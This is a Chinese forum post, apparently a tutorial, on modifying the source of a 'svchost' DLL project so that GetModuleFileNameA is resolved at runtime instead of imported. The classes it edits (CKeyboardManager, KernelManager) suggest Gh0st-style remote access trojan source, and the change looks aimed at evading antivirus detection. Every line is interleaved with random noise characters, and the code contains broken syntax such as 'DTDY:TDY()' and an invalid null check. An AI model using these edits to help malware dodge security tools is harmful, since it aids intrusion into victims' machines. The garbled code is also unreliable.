
- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记
9 ]8 O+ Z* w) u Y! v% Psvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h Y% ~0 C, ~# f! h" K8 v2 f1 d
----------------------------------------! l# W; G A, @: l* z0 B* u
DTDY.h:
% D3 [% j+ I# d- I7 `) E. S' ?4 W. l# a/ D
#if _MSC_VER>1000
2 L* B3 C8 f* w" W- H9 M#pragma once
+ m6 j8 C$ a9 w) d1 a9 H9 r- A#endif //_MSC_VER>10006 |: D/ R u! S/ {/ [; j
#include<windows.h>( I0 r6 U) o* _2 W: ^- s
' g/ s: e5 `) E* u9 k `typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);; g: W L3 Q% E+ C+ O
class DTDY
5 j# @" v" `7 M{8 o+ \# k$ a. j0 r' T
public:8 g4 j* O: v' w5 b
DTDY();
1 k" w1 G" w6 v8 bvirtual ~DTDY();( Y7 V6 d- ^0 o( B8 K" O* X7 E* g
public:- E( j1 I% P" v$ s# W# }
static pGetModuleFileNameA MyGetModuleFileName;
j. t8 `) F4 estatic BOOL FunInitiallization();
: u- i+ F8 k9 U* N4 _};
. q1 z& h) |: B#endif
, k& d% C' A9 s- e$ K+ s$ P0 c6 d----------------------------------------, v8 O0 h0 a! E2 L0 z [; {
0 l6 f' V7 x* J9 ]4 K fDTDY.cpp:
( h8 O2 b) K" Y/ {0 C7 w5 G: @8 ]+ a* O, N0 E7 K
#include "DTDY.h"
% u! a0 g8 i* x! @$ q3 ]$ a) X+ |5 W) xpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;3 r) t y8 a, r3 R9 d8 [& ^. A
DTDY:TDY()
3 x- Z& D9 o( u) m2 H7 S. s( t. y{+ j" X4 Q8 g- @! Z/ o
}" ]. I7 ]3 V* h2 K Y8 r; E5 j
DTDY::~DTDY()
( n5 g1 D8 c# Q9 }9 f{
9 g. T2 X+ e3 _% ]/ z% O4 @$ v} Y0 P9 X4 M& W
BOOL DTDY::FunInitiallization()
1 Q9 |1 H$ Q( v! } `{
$ u! l- d& w; z6 b# x% i* }8 CHMODULE hModule=LoadLibrary("kernel32.dll");* o+ N2 `7 _3 E5 t3 W! u
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
6 S! S9 m( o2 @( E0 S) aif(!MyGetModuleFileName=) return FALSE;
1 x; b/ x: q9 J" S0 b" m
( o$ ?6 H# I8 M' w7 u* G0 ~return TRUE;
" w; z6 u( }* D6 f* Y7 |( y}. k" [8 h" U: o6 }
----------------------------------------/ L8 F+ S* m" |; s$ Q- \; y. v
svchost.cpp:* o7 p1 s: C1 w& P. }' c' |
% Q+ n9 c/ b, i l* C2 q2 Y9 o#include "DTDY.h"
) T7 d2 K* F. Q
* |$ h, ?2 F* q- y% k3 ^BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)! s0 Q( C. g1 b
{9 `9 J2 G& P1 t0 F
switch(ul_reason_for_call)
( X: H/ h/ N2 d. B{8 g. W, b4 S" y) B
case DLL_PROCESS_ATTACH:
) B" b! w' K; l# m+ w( |if(!DTDY::FunInitiallization()) return FALSE;% y& j1 W" @7 T9 b2 n+ o
% x0 V. ^: E+ P; k. Abreak;
6 n7 Q* Q- w5 T; n2 H, e# }}, S5 G0 z: Y: l
}
7 }3 ^/ ?0 ` @" b3 v; u& ?: o) Y1 M2 M; }. {
- L. m2 o! N* r H1 P$ tGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
: W v% M+ k. ]+ J+ D: ^8 j' _改写为 D: _7 ]7 S: x2 @3 U
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));0 ^% ~% {* w1 A8 i
----------------------------------------7 \, |5 ]' h$ q
KernelManager.cpp:
9 T2 Z& {4 _+ S$ |1 h. g' K2 J6 I- \ `; M% z4 a( A$ K: z' U
#include "../DTDY.h"
( e4 }6 d8 Z) W/ G, k" e* K( WGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
" q- f- f8 ^5 \1 V改写为% Z; K8 D7 }) u" T0 A
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
1 U3 u/ X1 X& n% A6 s3 G: x---------------------------------------- |
|